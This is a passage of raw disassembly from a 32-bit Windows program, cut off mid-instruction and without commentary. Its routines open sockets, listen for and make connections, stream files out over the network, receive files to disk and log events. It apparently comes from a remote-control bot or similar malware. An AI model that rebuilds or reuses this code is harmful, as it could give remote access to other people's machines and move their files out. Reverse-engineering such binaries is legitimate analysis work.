0FFFFFFFBh, 8D50F475h, 0FFFF7085h dd 0B5FF50FFh, 0FFFFFDECh, 0FF41FDE8h, 14C483FFh, 0FBEC858Dh dd 0E850FFFFh, 67Ah, 0E8F075FFh, 0FFFF604Dh, 90565959h dd 2EA97BE8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] push ebp mov ebp, esp sub esp, 210h and dword ptr [ebp-4], 0 cmp dword ptr [ebp+14h], 0 push esi push edi jnz short loc_4156B0 push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 71AB3E5Dh nop jmp loc_41576C ; --------------------------------------------------------------------------- loc_4156B0: ; CODE XREF: ___:0041569Aj mov esi, [ebp+8] push 1 pop edi lea eax, [ebp-8] push eax push 8004667Eh push esi mov [ebp-8], edi nop call near ptr 71AB155Ah push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi call dword_4C92AC push dword ptr [ebp+14h] lea eax, [ebp-210h] mov [ebp-108h], esi mov [ebp-10Ch], edi push 0 push eax lea eax, [ebp-10Ch] mov [ebp-20Ch], esi push eax lea eax, [esi+1] push eax mov [ebp-210h], edi call dword_4C92EC test eax, eax jnz short loc_415714 or eax, 0FFFFFFFFh jmp short loc_41576C ; --------------------------------------------------------------------------- loc_415714: ; CODE XREF: ___:0041570Dj or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_41571F loc_41571B: ; CODE XREF: ___:0041573Fj ; ___:00415763j mov eax, edi jmp short loc_41576C ; --------------------------------------------------------------------------- loc_41571F: ; CODE XREF: ___:00415719j lea eax, [ebp-10Ch] push eax push esi call sub_426636 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_415741 lea eax, [ebp-210h] push eax push esi call sub_426636 ; --------------------------------------------------------------------------- test eax, eax jz short loc_41571B loc_415741: ; CODE XREF: ___:0041572Ej lea eax, [ebp+8] mov dword ptr [ebp+8], 4 push eax lea eax, [ebp-4] push eax push 1007h push 0FFFFh push esi nop call near ptr 71AB4122h cmp eax, edi jz short loc_41571B mov eax, [ebp-4] neg eax sbb eax, eax loc_41576C: ; CODE XREF: ___:004156ABj ; ___:00415712j ... pop edi pop esi leave retn ; --------------------------------------------------------------------------- dd 81EC8B55h, 10CECh, 57565300h, 3358016Ah, 535350DBh dd 0FF68h, 6A036A00h, 0EC458902h, 26BE890h, 4D8D716Ah dd 51046AECh, 5053026Ah, 4CCB30A3h, 0E415FF00h, 8B004C92h dd 4270B835h, 50D6FF00h, 689FE8h, 0C0335900h, 0BD8D196Ah dd 0FFFFFF00h, 0F49D8959h, 89FFFFFEh, 9D89844Dh, 0FFFFFEF8h dd 0FEFC9D89h, 85C7FFFFh, 0FFFFFF74h, 401h, 0FF7885C7h dd 15FFFFh, 85C70000h, 0FFFFFF7Ch, 16h, 178045C7h, 0C7000000h dd 358845h, 45C70000h, 508Ch, 9045C700h, 51h, 589445C7h dd 0C7000000h, 6E9845h, 45C70000h, 719Ch, 0A045C700h, 77h dd 87A445C7h, 0C7000000h, 89A845h, 45C70000h, 8BACh, 0B045C700h dd 8Fh, 0BBB445C7h, 0C7000001h, 1BDB845h, 45C70000h, 400BCh dd 0C045C700h, 599h, 0DCC445C7h, 0C7000005h, 6B8C845h dd 45C70000h, 0CEACCh, 0D045C700h, 0D3Dh, 88D445C7h, 0C7000013h dd 1A0BD845h, 45C70000h, 1F40DCh, 0E045C700h, 1F90h, 5D89ABF3h dd 0E445C7F0h, 3, 0B8E845C7h, 8900000Bh, 458BFC5Dh, 85C76608h dd 0FFFFFF64h, 85890002h, 0FFFFFF68h, 8DFC458Bh, 0FF7405BCh dd 8B66FFFFh, 0FF740584h, 0FF50FFFFh, 4C930415h, 16A5300h dd 8966026Ah, 0FFFF6685h, 8415FFFFh, 8D004C93h, 4589E44Dh dd 8D8D51F4h, 0FFFFFF64h, 5051106Ah, 0FFFD7EE8h, 10C483FFh dd 0FFF84589h, 15FFF475h, 4C939Ch, 75F85D39h, 0FC4D8B0Ch dd 8489078Bh, 0FFFEF40Dh, 0FC4583FFh, 0FC7D8304h, 0BF837C70h dd 4CCB34h, 42CDCC68h, 0C3E85700h, 59000066h, 89D6FF59h dd 858DF445h, 0FFFFFEF4h, 89FC5D89h, 0D6FFF845h, 33F4452Bh dd 3E8B9D2h, 0F1F70000h, 770C453Bh, 0F8458B45h, 0C33B008Bh dd 57501574h, 4376FC68h, 45895700h, 6684E8F0h, 0C4830000h dd 681AEB10h, 0FFFFh, 31F0E853h, 59590000h, 415FF50h, 0F004C93h dd 4589C0B7h, 0FC45FFF0h, 4F84583h, 1CFC7D83h, 286AA87Ch dd 0CAD06853h, 55E8004Ch, 0BE000063h, 0FFFFh, 0CAD005C6h dd 5645004Ch, 40068h, 0D905C600h, 6004CCAh, 0CAD105C6h dd 0E808004Ch, 31A2h, 5014C483h, 930415FFh, 286A004Ch dd 0CAD4A366h, 15FF004Ch, 4C9304h, 0CAD80D80h, 39FF004Ch dd 4CCAC01Dh, 0D2A36600h, 66004CCAh, 0CAD61D89h, 1A75004Ch dd 0FFFE68h, 0E8016A00h, 3162h, 4D8B5959h, 10E0C108h, 0C10BCE23h dd 0A0680BEBh, 0FF004CC4h, 4C934415h, 0CADCA300h, 458B004Ch dd 40006808h, 0E0A30000h, 88004CCAh, 4CCAF11Dh, 415FF00h dd 56004C93h, 0F2A36653h, 0E8004CCAh, 311Eh, 5356F88Bh dd 0E808E7C1h, 3112h, 310C483h, 15FF57F8h, 4C9300h, 4CCAE8A3h dd 0CAF0A000h, 7D8B004Ch, 0C0F2408h, 0A2146A50h, 4CCAF0h dd 0F0458B66h, 0CAEC1D89h, 8966004Ch, 4CCAF61Dh, 0E6A36600h dd 89004CCAh, 4CCB0C3Dh, 101D8800h, 0C6004CCBh, 4CCB1105h dd 15FF0600h, 4C9304h, 0CB12A366h, 0A166004Ch, 4CCAE6h dd 0F805C766h, 2004CCAh, 0FC3D8900h, 66004CCAh, 4CCAFAA3h dd 0FC5D8900h, 0FFBE05EBh, 390000FFh, 2F75FC5Dh, 87E85356h dd 59000030h, 15FF5059h, 4C9304h, 0CAE4A366h, 0DCA1004Ch dd 0A3004CCAh, 4CCB08h, 0CAF105C6h, 8902004Ch, 4CCAEC1Dh dd 561FEB00h, 0F105C653h, 10004CCAh, 3051E8h, 50595900h dd 930415FFh, 0B70F004Ch, 0CAECA3C0h, 0FF66004Ch, 4CCAD405h dd 0E805FF00h, 66004CCAh, 4CCAE6A1h, 59056A00h, 4CCAE4BEh dd 0CB14BF00h, 8966004Ch, 4CCADA1Dh, 1D896600h, 4CCAF4h dd 0A5F3146Ah, 4CCAD0BEh, 0FAA36600h, 56004CCAh, 0FF4ECEE8h dd 68206AFFh, 4CCB08h, 0CADAA366h, 0BCE8004Ch, 83FFFF4Eh dd 0A36610C4h, 4CCAF4h, 0F868106Ah, 53004CCAh, 0FF56286Ah dd 4CCB3035h, 6815FF00h, 0FF004C93h, 7D81FC45h, 3FFFCh dd 238C0F00h, 0E8FFFFFFh, 229B1AEh, 0F4452B90h, 0E8B9D233h dd 0F7000003h, 0C453BF1h, 75FF0E77h, 54E89010h, 0E90228A9h dd 0FFFFFDC2h, 34B85E5Fh, 5B004CCBh ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BF6 proc near ; CODE XREF: sub_401AC7+710Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43B4C0 mov edi, 0B8h loc_415C0A: ; CODE XREF: sub_415BF6+33j cmp byte ptr [esi], 0 jz short loc_415C2D push [ebp+arg_0] push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_415C2D inc [ebp+var_4] add esi, edi cmp esi, offset dword_43C040 jl short loc_415C0A jmp short loc_415C6F ; --------------------------------------------------------------------------- loc_415C2D: ; CODE XREF: sub_415BF6+17j ; sub_415BF6+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43B4C0[esi] push ebx call sub_41BD10 push 17h push [ebp+arg_0] push ebx call sub_41BD70 push 9Fh lea eax, dword_43B4D8[esi] push [ebp+arg_4] push eax call sub_41BD70 add esp, 24h inc dword_4294D0 pop ebx loc_415C6F: ; CODE XREF: sub_415BF6+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_415BF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C76 proc near ; CODE XREF: sub_401AC7+2880p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_437718 push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h xor edi, edi mov esi, offset dword_43B4C0 loc_415CA0: ; CODE XREF: sub_415C76+72j cmp byte ptr [esi], 0 jz short loc_415CDB lea eax, [esi+18h] push eax push esi push edi push offset dword_437704 lea eax, [ebp+var_200] push 200h push eax call sub_41C100 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 2Ch loc_415CDB: ; CODE XREF: sub_415C76+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43C040 jl short loc_415CA0 pop edi pop esi leave retn sub_415C76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415CEE proc near ; CODE XREF: ___:004015A2p ; ___:00401623p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 27B0000h mov ebx, offset dword_4D0F34 mov edi, 80h mov esi, offset dword_4CCF34 loc_415D10: ; CODE XREF: sub_415CEE+3Dj cmp byte ptr [ebx], 0 jz short loc_415D27 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41BD70 add esp, 0Ch loc_415D27: ; CODE XREF: sub_415CEE+25j sub ebx, edi cmp ebx, esi jge short loc_415D10 movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41C100 add esp, 28h pop edi pop esi pop ebx leave retn sub_415CEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D62 proc near ; CODE XREF: sub_4017E7+F7p ; sub_401AC7:loc_408954p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41C900 lea eax, [ebp+var_80] push eax call sub_415CEE add esp, 14h leave retn sub_415D62 endp ; =============== S U B R O U T I N E ======================================= sub_415D8E proc near ; CODE XREF: sub_401AC7+2777p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CCF34 xor ecx, ecx loc_415D95: ; CODE XREF: sub_415D8E+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D0F34 jl short loc_415D95 cmp [esp+arg_C], ecx jnz short loc_415DC3 push ecx push [esp+4+arg_8] push offset dword_437764 push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409862 add esp, 14h loc_415DC3: ; CODE XREF: sub_415D8E+19j push offset dword_437750 call sub_415CEE pop ecx retn sub_415D8E endp ; =============== S U B R O U T I N E ======================================= sub_415DCF proc near ; CODE XREF: ___:0040E1F0p arg_0 = dword ptr 4 push esi mov esi, offset dword_4CCF34 loc_415DD5: ; CODE XREF: sub_415DCF+27j cmp byte ptr [esi], 0 jz short loc_415DEA push [esp+4+arg_0] push esi call sub_418584 pop ecx test eax, eax pop ecx jnz short loc_415DFC loc_415DEA: ; CODE XREF: sub_415DCF+9j add esi, 80h cmp esi, offset dword_4D0F34 jl short loc_415DD5 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_415DFC: ; CODE XREF: sub_415DCF+19j push 1 pop eax pop esi retn sub_415DCF endp ; --------------------------------------------------------------------------- byte_415E01 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401AC7+282Ao ; --------------------------------------------------------------------------- sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_415E54 push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_437794 push eax push dword ptr [ebp-11Ch] call sub_409862 add esp, 14h loc_415E54: ; CODE XREF: ___:00415E34j cmp byte ptr [ebp-98h], 0 jz short loc_415E74 lea eax, [ebp-98h] push eax call sub_41BEF9 test eax, eax pop ecx mov [ebp-4], eax jz short loc_415E74 mov [ebp-8], eax loc_415E74: ; CODE XREF: ___:00415E5Bj ; ___:00415E6Fj and dword ptr [ebp+8], 0 mov esi, offset dword_4CCF34 loc_415E7D: ; CODE XREF: ___:00415ED5j mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_415ED7 cmp byte ptr [esi], 0 jz short loc_415EC6 cmp byte ptr [ebp-98h], 0 jz short loc_415EAC cmp dword ptr [ebp-4], 0 jnz short loc_415EAC lea eax, [ebp-98h] push eax push esi call sub_418584 pop ecx test eax, eax pop ecx jz short loc_415EC6 loc_415EAC: ; CODE XREF: ___:00415E91j ; ___:00415E97j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_409862 add esp, 14h loc_415EC6: ; CODE XREF: ___:00415E88j ; ___:00415EAAj inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D0F34 jl short loc_415E7D loc_415ED7: ; CODE XREF: ___:00415E83j lea eax, [ebp-31Ch] push offset dword_437778 push eax call sub_41C006 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_415F11 push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_409862 add esp, 14h loc_415F11: ; CODE XREF: ___:00415EEFj lea eax, [ebp-31Ch] push eax call sub_415CEE push dword ptr [ebp-18h] call sub_40B6C9 pop ecx pop ecx push esi nop ; --------------------------------------------------------------------------- db 0E8h, 0D2h, 0A0h ; --------------------------------------------------------------------------- add bl, cs:[edi+5Eh] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F30 proc near ; CODE XREF: ___:004165D5p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4C9384 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415FAC push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BD10 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4C9304 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4C9344 cmp eax, esi jnz short loc_415F91 push [ebp+arg_0] call dword_4C9388 test eax, eax jz short loc_415FAC mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415F91: ; CODE XREF: sub_415F30+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4C92AC cmp eax, esi jnz short loc_415FB0 push edi call dword_4C939C loc_415FAC: ; CODE XREF: sub_415F30+1Bj ; sub_415F30+58j mov eax, esi jmp short loc_415FB2 ; --------------------------------------------------------------------------- loc_415FB0: ; CODE XREF: sub_415F30+73j mov eax, edi loc_415FB2: ; CODE XREF: sub_415F30+7Ej pop edi pop esi leave retn sub_415F30 endp ; --------------------------------------------------------------------------- word_415FB6 dw 8B55h ; DATA XREF: sub_401AC7+9F6o dd 11B4B8ECh, 0DDE80000h, 8B000062h, 56530845h, 8B6D6A57h dd 0BD8D59F0h, 0FFFFFE4Ch, 16AA5F3h, 0EC75FF5Eh, 1B0B089h dd 858D0000h, 0FFFFFE54h, 0FF42E850h, 0D88BFFFFh, 0FFFB8359h dd 8D527559h, 0FFEE4C85h, 781468FFh, 0E8500043h, 5FFEh dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch, 50F475FFh dd 0FF6C858Dh, 5350FFFFh, 0FF3839E8h, 14C483FFh, 0EE4C858Dh dd 0E850FFFFh, 0FFFFFCB6h, 0E8F075FFh, 0FFFF5689h, 0E8565959h dd 22E9FB8h, 0B4B86890h, 0E8530043h, 40FEh, 0FFF88359h dd 8D597559h, 0FFEE4C85h, 77E468FFh, 0E8500043h, 5F9Ah dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch, 50F475FFh dd 0FF6C858Dh, 5350FFFFh, 0FF37D5E8h, 14C483FFh, 0EE4C858Dh dd 0E850FFFFh, 0FFFFFC52h, 15FF5359h, 4C939Ch, 0E8F075FFh dd 0FFFF561Dh, 0E8905659h, 22E9F4Ch, 0E890646Ah, 228A47Fh dd 0BEFF33h, 56000010h, 0EE4C858Dh, 5057FFFFh, 5C3FE8h dd 0CC48300h, 0EE4C858Dh, 5657FFFFh, 15FF5350h, 4C931Ch dd 387EC085h, 0EE4C858Dh, 8468FFFFh, 500042A0h, 6537E8h dd 4C858D00h, 50FFFFEEh, 3E39E8h, 0CC48300h, 1474C085h dd 0E890646Ah, 228A427h, 0DAE80A6Ah, 85FFFF54h, 0A37559C0h dd 0EE4C858Dh, 0B068FFFFh, 50004377h, 5ED5E8h, 0F87D3900h dd 1B755959h, 4C858D57h, 0FFFFFFEEh, 8D50F475h, 0FFFF6C85h dd 0E85350FFh, 0FFFF3712h, 8D14C483h, 0FFEE4C85h, 8FE850FFh dd 59FFFFFBh, 9C15FF53h, 0FF004C93h, 5AE8F075h, 59FFFF55h dd 89E89057h db 9Eh, 2Eh, 2 ; --------------------------------------------------------------------------- loc_416177: ; DATA XREF: sub_401AC7+76ABo push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4C9384 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_4161C5 push offset unk_437914 jmp loc_41637E ; --------------------------------------------------------------------------- loc_4161C5: ; CODE XREF: ___:004161B9j push 10h lea eax, [ebp-30h] push esi push eax call sub_41BD10 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_4C9304 mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_4C9330 test eax, eax jz short loc_416203 push offset unk_4378F0 jmp loc_41637E ; --------------------------------------------------------------------------- loc_416203: ; CODE XREF: ___:004161F7j lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4C92A8 push dword ptr [ebp-2Eh] call dword_4C9234 mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_41B960 pop ecx loc_416235: ; CODE XREF: ___:00416266j mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_416248 push 5Fh pop eax jmp short loc_41624B ; --------------------------------------------------------------------------- loc_416248: ; CODE XREF: ___:00416241j movsx eax, al loc_41624B: ; CODE XREF: ___:00416246j mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_41B960 cmp [ebp+8], eax pop ecx jbe short loc_416235 push ebx push edi call dword_4C932C test eax, eax jz short loc_41627E push offset unk_437814 jmp loc_41637E ; --------------------------------------------------------------------------- loc_41627E: ; CODE XREF: ___:00416272j push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax nop call near ptr 2730000h cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_4162A8 push offset unk_4378D0 jmp loc_41637E ; --------------------------------------------------------------------------- loc_4162A8: ; CODE XREF: ___:0041629Cj push esi push eax nop call near ptr 2760000h mov [ebp+8], eax push eax movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40A9FA pop ecx push eax call dword_4C9344 push eax call dword_4C9300 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_4378B8 push eax call sub_41C006 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409862 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_4C92EC test eax, eax jg short loc_416358 push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_4378A0 push eax push dword ptr [ebp-1FCh] call sub_409862 jmp loc_41647C ; --------------------------------------------------------------------------- loc_416358: ; CODE XREF: ___:00416336j lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4C9398 cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_416391 push offset unk_43787C loc_41637E: ; CODE XREF: ___:004161C0j ; ___:004161FEj ... lea eax, [ebp-3FCh] push eax call sub_41C006 pop ecx pop ecx jmp loc_41647F ; --------------------------------------------------------------------------- loc_416391: ; CODE XREF: ___:00416377j push edi call dword_4C939C cmp [ebp+8], esi jz loc_416443 mov edi, 400h loc_4163A6: ; CODE XREF: ___:0041643Aj mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_4163B3 mov [ebp-4], eax loc_4163B3: ; CODE XREF: ___:004163AEj push edi lea eax, [ebp-0A04h] push esi push eax call sub_41BD10 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] nop call near ptr 2790000h lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] nop call near ptr 27110B5h push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_4C9354 mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_4C931C cmp eax, ebx jl loc_4164D8 mov eax, [ebp-4] cmp eax, ebx jl loc_4164D8 sub [ebp+8], eax jnz loc_4163A6 mov edi, [ebp-18h] loc_416443: ; CODE XREF: ___:0041639Bj push dword ptr [ebp-8] nop call near ptr 2680000h push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_416C7D pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4C9390 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_437850 push eax call sub_41C006 loc_41647C: ; CODE XREF: ___:00416353j add esp, 14h loc_41647F: ; CODE XREF: ___:0041638Cj cmp [ebp-50h], esi jnz short loc_4164A4 push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409862 add esp, 14h loc_4164A4: ; CODE XREF: ___:00416482j lea eax, [ebp-3FCh] push eax call sub_415CEE cmp edi, esi pop ecx jbe short loc_4164BC push edi call dword_4C939C loc_4164BC: ; CODE XREF: ___:004164B3j push dword ptr [ebp-1F8h] call dword_4C939C push dword ptr [ebp-58h] call sub_40B6C9 pop ecx push esi nop call near ptr 2700000h loc_4164D8: ; CODE XREF: ___:00416426j ; ___:00416431j push esi mov esi, offset dword_437838 push dword ptr [ebp-54h] lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_409862 push esi call sub_415CEE add esp, 18h push dword ptr [ebp-1F8h] call dword_4C939C push dword ptr [ebp-58h] call sub_40B6C9 pop ecx push ebx nop call near ptr 2700000h loc_416519: ; DATA XREF: sub_401AC7+78Fo push ebp mov ebp, esp mov eax, 14C4h call sub_41C2A0 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax nop call near ptr 26A0000h lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_429ACC push eax call sub_41C006 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax nop call near ptr 2730000h cmp eax, 0FFFFFFFFh jnz short loc_4165A3 push offset unk_4379B4 jmp short loc_4165E9 ; --------------------------------------------------------------------------- loc_4165A3: ; CODE XREF: ___:0041659Aj push eax call near ptr 2680000h nop lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41BC88 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_4165CB push offset unk_437984 jmp short loc_4165E9 ; --------------------------------------------------------------------------- loc_4165CB: ; CODE XREF: ___:004165C2j push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_415F30 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_4165FC push offset unk_437964 loc_4165E9: ; CODE XREF: ___:004165A1j ; ___:004165C9j lea eax, [ebp-4C4h] push eax call sub_41C006 pop ecx pop ecx jmp loc_4166F6 ; --------------------------------------------------------------------------- loc_4165FC: ; CODE XREF: ___:004165E2j mov esi, 1000h loc_416601: ; CODE XREF: ___:00416667j push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_4C931C mov edi, eax cmp edi, ebx jz loc_4166C8 cmp edi, 0FFFFFFFFh jz short loc_416669 push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41DA54 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_4C9300 mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_4C9354 jmp short loc_416601 ; --------------------------------------------------------------------------- loc_416669: ; CODE XREF: ___:00416631j lea eax, [ebp-4C4h] push offset dword_437838 push eax call sub_41C006 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409862 lea eax, [ebp-4C4h] push eax call sub_415CEE push dword ptr [ebp-4] call sub_41B9DB add esp, 24h push dword ptr [ebp+8] call dword_4C939C push dword ptr [ebp-1Ch] call sub_40B6C9 pop ecx push 1 nop call near ptr 2700000h loc_4166C8: ; CODE XREF: ___:00416628j mov eax, [ebp-8] cdq push edx push eax call sub_416C7D push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_437938 push eax call sub_41C006 add esp, 1Ch loc_4166F6: ; CODE XREF: ___:004165F7j cmp [ebp-14h], ebx jnz short loc_41671B push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409862 add esp, 14h loc_41671B: ; CODE XREF: ___:004166F9j lea eax, [ebp-4C4h] push eax call sub_415CEE cmp [ebp-4], ebx pop ecx jz short loc_416736 push dword ptr [ebp-4] call sub_41B9DB pop ecx loc_416736: ; CODE XREF: ___:0041672Bj cmp [ebp+8], ebx jbe short loc_416744 push dword ptr [ebp+8] call dword_4C939C loc_416744: ; CODE XREF: ___:00416739j push dword ptr [ebp-1Ch] call sub_40B6C9 pop ecx push ebx nop call near ptr 2700000h loc_416754: ; DATA XREF: sub_401AC7+61D9o ; sub_401AC7+6A07o push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4C92B4 call dword_4C9208 cmp eax, esi mov [ebp-18h], eax jz loc_416BE0 push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax nop call near ptr 2730000h cmp eax, edi mov [ebp-20h], eax jnb short loc_41681B lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_437B80 push eax call sub_41C006 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4167FE push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409862 add esp, 14h loc_4167FE: ; CODE XREF: ___:004167DCj lea eax, [ebp-510h] push eax call sub_415CEE push dword ptr [ebp-48h] call sub_40B6C9 pop ecx pop ecx push esi nop call near ptr 2700000h loc_41681B: ; CODE XREF: ___:004167BCj xor edi, edi nop call near ptr 26B0D7Ah mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41BC9B pop ecx mov [ebp-1Ch], 